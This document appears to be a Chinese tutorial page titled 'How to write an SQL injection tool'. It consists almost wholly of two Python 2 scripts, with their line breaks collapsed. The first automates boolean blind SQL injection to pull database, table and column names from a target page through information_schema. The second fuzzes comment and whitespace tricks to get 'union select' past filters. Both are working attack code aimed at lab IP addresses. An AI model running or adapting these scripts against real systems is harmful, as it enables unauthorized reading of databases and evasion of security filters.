如何编写一个SQL注入工具

#! /usr/bin/env python# _*_  coding:utf-8 _*_import requestsimport urllibimport timestart_time = time.time()def database_length(url):    values={}    for i in range(1,100):        values['id'] = "1 and (select length(database()))=%s" %i        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return i
def database_name(url):    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'    values={}    databasename= ''    aa = 15    aa = database_length(url)    for i in range(1, aa+1):        for payload in payloads:            values['id'] = "1 and ascii(substring(database(),%s,1))=%s " %(i,ord(payload))            data = urllib.urlencode(values)            geturl = url+'?'+data            response = requests.get(geturl)            if response.content.find('qwertyasd')>0:                databasename += payload    return databasename#print database_name('http://192.168.125.129/config/sql.php')
  def table_count(url,database):    values={}    for i in range(1,100):        values['id'] = "1 and (select count(table_name) from information_schema.tables where table_schema="+"'"+database+"')"+"=%s" %i        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return idef table_length(url,a,database):    values={}     for i in range(1,100):        values['id'] = "1 and (select length(table_name) from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1)=%s" %(a,i)        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return idef table_name(url,database):    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'    values={}    table_name=[]    bb = table_count(url,database)    for i in range(0,bb+1):        user= ''        cc=table_length(url,i,database)        if cc==None:            break        for j in range(0,cc+1):            for payload in payloads:                values['id'] = "1 and ascii(substring((select table_name from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1),%s,1))=%s " %(i,j,ord(payload))                data = urllib.urlencode(values)                geturl = url+'?'+data                response = requests.get(geturl)                if response.content.find('qwertyasd')>0:                    user += payload                    #print payload        table_name.append(user)    return table_name    #print table_name('http://192.168.125.129/config/sql.php','test')

def column_count(url,table_name):    values={}    for i in range(1,100):        values['id'] = "1 and (select count(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+")=%s" %i        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return idef column_length(num,url,table_name):    values={}    for i in range(1,100):        limit = " limit %s,1)=%s" %(num,i)        values['id'] = "1 and (select length(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+limit        data = urllib.urlencode(values)        geturl = url+'?'+data        response = requests.get(geturl)        if response.content.find('qwertyasd')>0:            return idef column_name(url,table_name):    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'    values={}    column_name=[]    dd=column_count(url,table_name)    for i in range(0,dd+1):        user= ''        bb=column_length(i,url,table_name)        if bb==None:            break        for j in range(0,bb+1):            for payload in payloads:                limit=" limit %s,1),%s,1))=%s" %(i,j,ord(payload))                values['id'] = "1 and ascii(substring((select column_name from information_schema.columns where table_name="+"'"+table_name+"'"+limit                data = urllib.urlencode(values)                geturl = url+'?'+data                response = requests.get(geturl)                if response.content.find('qwertyasd')>0:                    user += payload        column_name.append(user)    return column_name#print column_name('http://192.168.125.129/config/sql.php','admin')

if __name__ == '__main__':    url='http://192.168.125.129/config/sql.php'    databasename=database_name(url)    print "The current database:"+databasename 
    database=raw_input("Please input your databasename: ")    tables=table_name(url,database)    print database+" have the tables:",    print tables
    for table in tables:        print table+" have the columns:"        print column_name(url,table)    print 'Use for: %d second' % (time.time() - start_time)

#! /usr/bin/env python# _*_  coding:utf-8 _*_
import requests
fuzz_dic1 = ['*/','/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']fuzz_dic2 = ['*/','',' ','/*!']fuzz_dic3 = ['/*!',"%a0","0c","%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}url="http://192.168.125.140/php/config/sql.php?id=1"
for i in fuzz_dic1:    for j in fuzz_dic2:        for k in fuzz_dic3:            payload="/*!union"+i+j+k+"select*/ 1,user()"            geturl=url+payload            #print geturl            try:                response=requests.get(url=geturl,headers=headers)                result = response.content                #print result                if result.count('root'):                    print geturl                else:                    print ".",            except:                print "Error"